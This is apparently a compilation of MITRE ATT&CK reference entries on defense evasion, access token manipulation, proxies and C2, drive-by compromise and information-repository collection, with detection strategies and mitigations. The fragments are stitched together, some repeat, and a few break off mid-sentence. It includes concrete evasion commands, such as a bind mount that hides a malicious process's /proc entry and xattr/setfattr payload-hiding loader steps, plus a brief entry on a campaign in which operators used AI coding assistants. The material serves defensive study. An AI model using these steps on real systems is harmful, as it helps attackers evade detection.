Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary. Additionally, adversaries may leverage such control in conjunction with Digital Certificates to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications. Alternatively, they may be able to prove ownership of a domain to a SaaS service in order to assert control of the service or create a new administrative Cloud Account.

Software extensions are modular components that enhance or customize the functionality of software applications, including web browsers, Integrated Development Environments (IDEs), and other platforms. Extensions are typically installed via official marketplaces, app stores, or manually loaded by users, and they often inherit the permissions and access levels of the host application.\n\nMalicious extensions can be introduced through various methods, including social engineering, compromised marketplaces, or direct installation by users or by adversaries who have already gained access to a system. Malicious extensions can be named similarly or identically to benign extensions in marketplaces. Security mechanisms in extension marketplaces may be insufficient to detect malicious components, allowing adversaries to bypass automated scanners or exploit trust established during the installation process. Adversaries may also abuse benign extensions to achieve their objectives, such as using legitimate functionality to tunnel data or bypass security controls.\n\nThe modular nature of extensions and their integration with host applications make them an attractive target for adversaries seeking to exploit trusted software ecosystems. Detection can be challenging due to the inherent trust placed in extensions during installation and their ability to blend into normal application workflows.\n\n## Reference: ATT&CK T1564.009 Resource Forking\n**ATT&CK T1564.009 Resource Forking (full record).** Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications.

Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the `/Resources` folder.\n\nAdversaries can use resource forks to hide malicious data that may otherwise be stored directly in files.

Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.\n\nAdversaries may manipulate a process PEB to evade defenses. For example, Process Hollowing can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the Native API `WriteProcessMemory` function) then resume process execution with malicious arguments.\n\nAdversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.\n\nThis behavior may also be combined with other tricks (such as Parent PID Spoofing) to manipulate or further evade process-based detections.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.\n\n**Detection strategies and analytics.** - **Detection Strategy for Process Argument Spoofing on Windows**\n - Inconsistencies between process command-line arguments logged at creation time and subsequent process behavior.

Many operating systems use signals to deliver messages to control process behavior. Command interpreters often include specific commands/flags that ignore errors and other hangups, such as when the user of the active session logs off. These interrupt signals may also be used by defensive tools and/or analysts to pause or terminate specified running processes.\n\nAdversaries may invoke processes using `nohup`, PowerShell `-ErrorAction SilentlyContinue`, or similar commands that may be immune to hangups. This may enable malicious commands and malware to continue execution through system events that would otherwise terminate its execution, such as users logging off or the termination of its C2 network connection.\n\nHiding from process interrupt signals may allow malware to continue execution, but unlike Trap this does not establish Persistence since the process will not be re-invoked once actually terminated.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.\n\n**Detection strategies and analytics.** - **Detection Strategy for Ignore Process Interrupts**\n - Execution of processes using nohup or shell redirection to ignore SIGHUP and continue running after session termination.

AV and other file-based scanners often include exclusions to optimize performance as well as ease installation and legitimate use of applications. These exclusions may be contextual (e.g., scans are only initiated in response to specific triggering events/alerts), but are also often hardcoded strings referencing specific folders and/or files assumed to be trusted and legitimate.\n\nAdversaries may abuse these exclusions to hide their file-based artifacts. For example, rather than tampering with tool settings to add a new exclusion (i.e., Disable or Modify Tools), adversaries may drop their file-based payloads in default or otherwise well-known exclusions.

A bind mount maps a directory or file from one location on the filesystem to another, similar to a shortcut on Windows. It’s commonly used to provide access to specific files or directories across different environments, such as inside containers or chroot environments, and requires sudo access.\n\nAdversaries may use bind mounts to map either an empty directory or a benign `/proc` directory to a malicious process’s `/proc` directory. Using the commands `mount –o bind /proc/benign-process /proc/malicious-process` (or `mount –B`), the malicious process's `/proc` directory is overlayed with the contents of a benign process's `/proc` directory. When system utilities query process activity, such as `ps` and `top`, the kernel follows the bind mount and presents the benign directory’s contents instead of the malicious process's actual `/proc` directory. As a result, these utilities display information that appears to come from the benign process, effectively hiding the malicious process's metadata, executable, or other artifacts from detection.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.\n\n**Detection strategies and analytics.** - **Detection Strategy for Bind Mounts on Linux**\n - Abuse of bind mounts to obscure process directories.

A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. Token Impersonation/Theft) or used to spawn a new process (i.e. Create Process with Token). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.\n\nAny standard user can use the `runas` command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.

For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.\n\nThis behavior is distinct from Token Impersonation/Theft in that this refers to creating a new user token instead of stealing or duplicating an existing one.\n\n**Classification.** - Tactics: stealth, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1134 Access Token Manipulation - Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls.

New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the `CreateProcess` API call, which supports a parameter that defines the PPID to use. This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via `svchost.exe` or `consent.exe`) rather than the current user context.\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of PowerShell/Rundll32 to be `explorer.exe` rather than an Office document delivered as part of Spearphishing Attachment. This spoofing could be executed via Visual Basic within a malicious Office document or any code that can perform Native API.\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as `lsass.exe`), causing the new process to be elevated via the inherited access token.\n\n**Classification.** - Tactics: stealth, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1134 Access Token Manipulation - Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls.

All forms of spearphishing are electronically delivered and target a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution and access.\n\nA Chinese spearphishing campaign running from December 9, 2011 through February 29, 2012, targeted ONG organizations and their employees.

Operating modes dictate what change or maintenance functions can be manipulated and are often controlled by a key switch on the PLC (e.g., run, prog [program], and remote). Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below:\n\n* Program - This mode must be enabled before changes can be made to a devices program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLCs logic Is halted, and all outputs may be forced off.\n* Run - Execution of the devices program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the programs logic.Program Upload and Program Download are disabled while in this mode.\n* Remote - Allows for remote changes to a PLCs operation mode.\n* Stop - The PLC and program is stopped, while in this mode, outputs are forced off.\n* Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers.\n* Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization.\n\n**Classification.** - Tactics: collection\n- Platforms: Embedded\n\n**Mitigations.** - **Software Process and Device Authentication**: Require the authentication of devices and software processes where appropriate. Devices that connect remotely to other systems should require strong authentication to prevent spoofing of communications.

These protocols may be used to disguise adversary actions as benign network traffic. Standard protocols may be seen on their associated port or in some cases over a non-standard port. Adversaries may use these protocols to reach out of the network for command and control, or in some cases to other infected devices within the network.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Sub-techniques.** - T0869.001 DNS: Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic.\n- T0869.002 Publish/Subscribe Protocols: Adversaries may communicate using publish/subscribe (pub/sub) application layer protocols to avoid detection/network filtering by blending in with existing traffic.\n\n**Mitigations.** - **Network Segmentation**: Architect sections of the network to isolate critical systems, functions, or resources.

Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n- **Application Isolation and Sandboxing**: Application Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox). This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact.

This can include URL filtering, download restrictions, script blocking, and extension control to protect against exploitation, phishing, and malware delivery. This mitigation can be implemented through the following measures:\n- **User Training**: User Training involves educating employees and contractors on recognizing, reporting, and preventing cyber threats that rely on human interaction, such as phishing, social engineering, and other manipulative techniques.

Multiple ways of delivering exploit code to a browser exist (i.e., Drive-by Target), including:\n\n* A legitimate website is compromised, allowing adversaries to inject malicious code\n* Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary\n* Malicious ads are paid for and served through legitimate ad providers (i.e., Malvertising)\n* Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting)\n\nBrowser push notifications may also be abused by adversaries and leveraged for malicious code injection via User Execution. By clicking \"allow\" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser.\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\n## Reference: ATT&CK AN1562 Analytic 1562\n**ATT&CK AN1562 Analytic 1562 (full record).** Processes executing commands to query system locale and language settings, such as 'locale', 'echo $LANG', or parsing environment variables.

This mitigation focuses on leveraging secure boot mechanisms, hardware-rooted trust, and runtime integrity checks to prevent tampering during the boot sequence. It is designed to thwart adversaries attempting to modify system firmware, bootloaders, or critical OS components. This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Hardware Supply Chain Compromise Detection via Host Status & Boot Integrity Checks**\n - Detects tampered hardware or firmware via anomalous host status telemetry. Behavioral chain: (1) Pre-OS or firmware components exhibit unexpected version changes, signature failures, or modified boot paths; (2) System management/firmware tools log hardware inventory drift; (3) Sensor health telemetry or boot attestation events fail baseline checks; (4) Follow-on process execution from altered firmware or unknown drivers after boot. (telemetry: WinEventLog:Security:EventCode=1166, 7045, WinEventLog:Microsoft-Windows-CodeIntegrity/Operational:Code integrity violations in boot-start drivers or firmware, WinEventLog:Sysmon:EventCode=6)\n - Monitors for hardware or firmware tampering by correlating system boot logs, hardware inventory changes, and secure boot/firmware verification failures. Behavioral chain: (1) UEFI/BIOS version drift; (2) secure boot disabled or signature verification errors; (3) unexpected modules or hardware devices enumerated at boot; (4) new device firmware images loaded from non-approved sources. (telemetry: auditd:SYSCALL:firmware_update, kexec_load, fwupd:logs:Firmware updates applied or failed)\n - Detects tampered Mac hardware/firmware by analyzing unified logs, EndpointSecurity events, and Apple Mobile File Integrity (AMFI) checks. Behavioral chain: (1) Boot process reports firmware signature mismatch; (2) Secure Boot policy altered; (3) new EFI drivers or hardware devices appear in inventory; (4) system extension loads from unapproved developer IDs post-boot. (telemetry: macos:unifiedlog:EFI firmware integrity check failed, macos:endpointsecurity:es_event_authentication)\n\n## ATT&CK T1195.003 Compromise Hardware Supply Chain (full record)\nAdversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system.

Code repositories are tools/services that store source code and automate software builds.\n- T1213.006 Databases: Adversaries may leverage databases to mine valuable information. These databases may be hosted on-premises or in the cloud (both in platform-as-a-service and software-as-a-service environments).\n- T1213.005 Messaging Applications: Adversaries may leverage chat and messaging applications, such as Microsoft Teams, Google Chat, and Slack, to mine valuable information.\n- T1213.004 Customer Relationship Management Software: Adversaries may leverage Customer Relationship Management (CRM) software to mine valuable information.\n- T1213.002 Sharepoint: Adversaries may leverage the SharePoint repository as a source to mine valuable information.\n- T1213.001 Confluence: Adversaries may leverage Confluence repositories to mine valuable information.\n\n## Mitigations\n- **Multi-factor Authentication**: Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include:\n- **Out-of-Band Communications Channel**: Establish secure out-of-band communication channels to ensure the continuity of critical communications during security incidents, data integrity attacks, or in-network communication failures. Out-of-band communication refers to using an alternative, separate communication path that is not dependent on the potentially compromised primary network infrastructure.\n- **User Training**: User Training involves educating employees and contractors on recognizing, reporting, and preventing cyber threats that rely on human interaction, such as phishing, social engineering, and other manipulative techniques. Comprehensive training programs create a human firewall by empowering users to be an active component of the organization's cybersecurity defenses. This mitigation can be implemented through the following measures:\n- **Software Configuration**: Software configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats. These changes help reduce the attack surface, enforce best practices, and protect sensitive data. This mitigation can be implemented through the following measures:\n- **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n- **Encrypt Sensitive Information**: Protect sensitive information at rest, in transit, and during processing by using strong encryption algorithms. Encryption ensures the confidentiality and integrity of data, preventing unauthorized access or tampering. This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Abuse of Information Repositories for Data Collection**\n - Programmatic or excessive access to file shares, SharePoint, or database repositories by users not typically interacting with them. This includes abnormal access by privileged accounts, enumeration of large numbers of files, or downloads of sensitive content in bursts.

Unusual access patterns to knowledge base folders or shared team drives. (telemetry: auditd:SYSCALL:execve of curl, rsync, wget with internal knowledge base or IPs, linux:Sysmon:EventCode=3, 22)\n - Abuse of SaaS platforms such as Confluence, GitHub, SharePoint Online, or Slack to access excessive internal documentation or export source code/data. Includes use of tokens or browser automation from unapproved IPs. (telemetry: saas:confluence:access.content, saas:slack:Exported file or accessed admin API)\n - Access of mounted cloud shares or document repositories via browser, terminal, or Finder by users not typically interacting with those resources. Includes script-based enumeration or mass download. (telemetry: macos:unifiedlog:access to /Volumes/SharePoint or network mount, macos:osquery:curl, python scripts, rsync with internal share URLs)\n\n## Tracked users (groups, malware, tools)\n- SolarWinds Compromise (campaign): The SolarWinds Compromise was a sophisticated supply chain cyber operation conducted by APT29 that was discovered in mid-December 2020.\n- NIMBUS MANTICORE (intrusion-set): NIMBUS MANTICORE is a State Sponsored cyber espionage group associated with the Iranian Regime specifically the Iranian Revolutionary Guard Corps (IRGC).\n- Raccoon Stealer (malware): Raccoon Stealer is an information stealer malware family active since at least 2019 as a malware-as-a-service offering sold in underground forums.\n- Troll Stealer (malware): Troll Stealer is an information stealer written in Go associated with Kimsuky operations.\n- AI-Assisted Breach of Mexico's Government Infrastructure (campaign): The AI-Assisted Breach of Mexico's Government Infrastructure is a campaign where human operators used Claude Code AI and OpenAI GPT GPT-4.1 AI to perform reconnaissance, vulnerabil.\n- APT28 (intrusion-set): APT28 is a threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165.\n\n## Reference: ATT&CK DET0276 Detection Strategy for Rogue Domain Controller (DCShadow) Registration and Replication Abuse\n**Detects.** - T1207 Rogue Domain Controller\n\n**Analytics.** - Analytic 0770: Detection of rogue Domain Controller registration and Active Directory replication abuse by correlating: (1) creation/modification of nTDSDSA and server objects in the Configuration partition, (2) unexpected usage of Directory Replication Service SPNs (GC/ or E3514235-4B06-11D1-AB04-00C04FC2DCD2), (.\n\n## Reference: ATT&CK DET0277 Detection Strategy for Role Addition to Cloud Accounts\n**Detects.** - T1098.003 Additional Cloud Roles\n\n**Analytics.** - Analytic 0771: Detection of new IAM roles or policies attached to a user/service in AWS/GCP/Azure outside normal patterns or hours, often following account compromise.\n- Analytic 0772: Behavioral chain of a user being granted elevated privileges or roles in Entra ID or Okta following suspicious login or account creation activity.\n- Analytic 0773: Detection of new admin or role assignment actions within Microsoft 365/O365 environments to elevate access for persistence or lateral movement.\n\n## Reference: ATT&CK DET0278 Detection Strategy for T1542 Pre-OS Boot\n**Detects.** - T1542 Pre-OS Boot\n\n**Analytics.** - Analytic 0774: Unusual modification of boot records (MBR, VBR) or EFI partitions not associated with legitimate patch cycles or OS upgrades.

Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, such as Credential Access, Lateral Movement, or Defense Evasion, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization (i.e., Transfer Data to Cloud Account).\n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., Unsecured Credentials)\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n* Contact or other sensitive information about business partners and customers, including personally identifiable information (PII)\n\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include the following:\n\n* Storage services such as IaaS databases, enterprise databases, and more specialized platforms such as customer relationship management (CRM) databases\n* Collaboration platforms such as SharePoint, Confluence, and code repositories\n* Messaging platforms such as Slack and Microsoft Teams\n\nIn some cases, information repositories have been improperly secured, typically by unintentionally allowing for overly-broad access by all users or even public access to unauthenticated users. This is particularly common with cloud-native or cloud-hosted services, such as AWS Relational Database Service (RDS), Redis, or ElasticSearch.\n\n## Reference: ATT&CK T1564.011 Ignore Process Interrupts\n**ATT&CK T1564.011 Ignore Process Interrupts (full record).** Adversaries may evade defensive mechanisms by executing commands that hide from process interrupt signals. Many operating systems use signals to deliver messages to control process behavior. Command interpreters often include specific commands/flags that ignore errors and other hangups, such as when the user of the active session logs off. These interrupt signals may also be used by defensive tools and/or analysts to pause or terminate specified running processes.\n\nAdversaries may invoke processes using `nohup`, PowerShell `-ErrorAction SilentlyContinue`, or similar commands that may be immune to hangups. This may enable malicious commands and malware to continue execution through system events that would otherwise terminate its execution, such as users logging off or the termination of its C2 network connection.\n\nHiding from process interrupt signals may allow malware to continue execution, but unlike Trap this does not establish Persistence since the process will not be re-invoked once actually terminated.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.\n\n**Detection strategies and analytics.** - **Detection Strategy for Ignore Process Interrupts**\n - Execution of processes using nohup or shell redirection to ignore SIGHUP and continue running after session termination.

[…]\n\n## Reference: ATT&CK T1564.012 File/Path Exclusions\n**ATT&CK T1564.012 File/Path Exclusions (full record).** Adversaries may attempt to hide their file-based artifacts by writing them to specific folders or file names excluded from antivirus (AV) scanning and other defensive capabilities. AV and other file-based scanners often include exclusions to optimize performance as well as ease installation and legitimate use of applications. These exclusions may be contextual (e.g., scans are only initiated in response to specific triggering events/alerts), but are also often hardcoded strings referencing specific folders and/or files assumed to be trusted and legitimate.\n\nAdversaries may abuse these exclusions to hide their file-based artifacts. For example, rather than tampering with tool settings to add a new exclusion (i.e., Disable or Modify Tools), adversaries may drop their file-based payloads in default or otherwise well-known exclusions. Adversaries may also use Security Software Discovery and other Discovery/Reconnaissance activities to both discover and verify existing exclusions in a victim environment.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.\n\n**Mitigations.** - **Antivirus/Antimalware**: Antivirus/Antimalware solutions utilize signatures, heuristics, and behavioral analysis to detect, block, and remediate malicious software, including viruses, trojans, ransomware, and spyware. These solutions continuously monitor endpoints and systems for known malicious patterns and suspicious behaviors that indicate compromise. Antivirus/Antimalware software should be deployed across all devices, with automated updates to ensure protection against the latest threats.\n- **Application Developer Guidance**: Application Developer Guidance focuses on providing developers with the knowledge, tools, and best practices needed to write secure code, reduce vulnerabilities, and implement secure design principles. By integrating security throughout the software development lifecycle (SDLC), this mitigation aims to prevent the introduction of exploitable weaknesses in applications, systems, and APIs. […]\n\n## Reference: ATT&CK T1564.013 Bind Mounts\n**ATT&CK T1564.013 Bind Mounts (full record).** Adversaries may abuse bind mounts on file structures to hide their activity and artifacts from native utilities. A bind mount maps a directory or file from one location on the filesystem to another, similar to a shortcut on Windows. It’s commonly used to provide access to specific files or directories across different environments, such as inside containers or chroot environments, and requires sudo access.\n\nAdversaries may use bind mounts to map either an empty directory or a benign `/proc` directory to a malicious process’s `/proc` directory. Using the commands `mount –o bind /proc/benign-process /proc/malicious-process` (or `mount –B`), the malicious process's `/proc` directory is overlayed with the contents of a benign process's `/proc` directory. When system utilities query process activity, such as `ps` and `top`, the kernel follows the bind mount and presents the benign directory’s contents instead of the malicious process's actual `/proc` directory. As a result, these utilities display information that appears to come from the benign process, effectively hiding the malicious process's metadata, executable, or other artifacts from detection.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.\n\n**Detection strategies and analytics.** - **Detection Strategy for Bind Mounts on Linux**\n - Abuse of bind mounts to obscure process directories. Defender perspective: detecting anomalous mount operations where a process’s /proc entry is remapped to another directory, often hiding malicious activity from native utilities (ps, top). Behavior chain includes: (1) execution of `mount` with `-o bind` or `-B` flags, (2) modification of /proc entries inconsistent with expected process lineage, and (3) subsequent anomalous activity from processes whose metadata no longer matches execution context. […]\n\n## Reference: ATT&CK T1564.014 Extended Attributes\n**ATT&CK T1564.014 Extended Attributes (full record).** Adversaries may abuse extended attributes (xattrs) on macOS and Linux to hide their malicious data in order to evade detection. Extended attributes are key-value pairs of file and directory metadata used by both macOS and Linux. They are not visible through standard tools like `Finder`, `ls`, or `cat` and require utilities such as `xattr` (macOS) or `getfattr` (Linux) for inspection. Operating systems and applications use xattrs for tagging, integrity checks, and access control. On Linux, xattrs are organized into namespaces such as `user.` (user permissions), `trusted.` (root permissions), `security.`, and `system.`, each with specific permissions. On macOS, xattrs are flat strings without namespace prefixes, commonly prefixed with `com.apple.*` (e.g., `com.apple.quarantine`, `com.apple.metadata:_kMDItemUserTags`) and used by system features like Gatekeeper and Spotlight.\n\nAn adversary may leverage xattrs by embedding a second-stage payload into the extended attribute of a legitimate file. On macOS, a payload can be embedded into a custom attribute using the `xattr` command. A separate loader can retrieve the attribute with `xattr -p`, decode the content, and execute it using a scripting interpreter. On Linux, an adversary may use `setfattr` to write a payload into the `user.` namespace of a legitimate file. A loader script can later extract the payload with `getfattr --only-values`, decode it, and execute it using bash or another interpreter. In both cases, because the primary file content remains unchanged, security tools and integrity checks that do not inspect extended attributes will observe the original file hash, allowing the malicious payload to evade detection.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.

Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.\n\nBy using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: ESXi, Linux, macOS, Network Devices, Windows\n- Sub-technique of: T1090 Proxy - Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure.\n\n**Mitigations.** - **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries.\n\n**Detection strategies and analytics.** - **Internal Proxy Behavior via Lateral Host-to-Host C2 Relay**\n - Anomalous process (e.g., `rundll32`, `svchost`, `cmd`) initiates connections to internal peer hosts not seen in typical communication baselines, used to proxy or forward traffic internally, often using SMB, RPC, or high ports.

Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.\n\nExternal connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: ESXi, Linux, macOS, Network Devices, Windows\n- Sub-technique of: T1090 Proxy - Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure.\n\n**Mitigations.** - **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries.\n\n**Detection strategies and analytics.** - **External Proxy Behavior via Outbound Relay to Intermediate Infrastructure**\n - Unusual process (e.g., `rundll32`, `mshta`, `wscript`, or custom payloads) initiates network connection to external IPs/domains that proxy C2 traffic, often over uncommon ports or high entropy HTTP/S connections. […]\n\n## Reference: ATT&CK T1090.003 Multi-hop Proxy\n**ATT&CK T1090.003 Multi-hop Proxy (full record).** Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.\n\nFor example, adversaries may construct or use onion routing networks – such as the publicly available Tor network – to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network. Adversaries may also use operational relay box (ORB) networks composed of virtual private servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life routers to obfuscate their operations.\n\nIn the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., Network Devices). By leveraging Patch System Image on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the Network Boundary Bridging method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport.\n\nSimilarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: ESXi, Linux, macOS, Network Devices, Windows\n- Sub-technique of: T1090 Proxy - Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure.\n\n**Mitigations.** - **Filter Network Traffic**: Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic.

Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: Linux, macOS, Windows, ESXi\n- Sub-technique of: T1090 Proxy - Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure.\n\n**Mitigations.** - **SSL/TLS Inspection**: SSL/TLS inspection involves decrypting encrypted network traffic to examine its content for signs of malicious activity. This capability is crucial for detecting threats that use encryption to evade detection, such as phishing, malware, or data exfiltration. After inspection, the traffic is re-encrypted and forwarded to its destination.

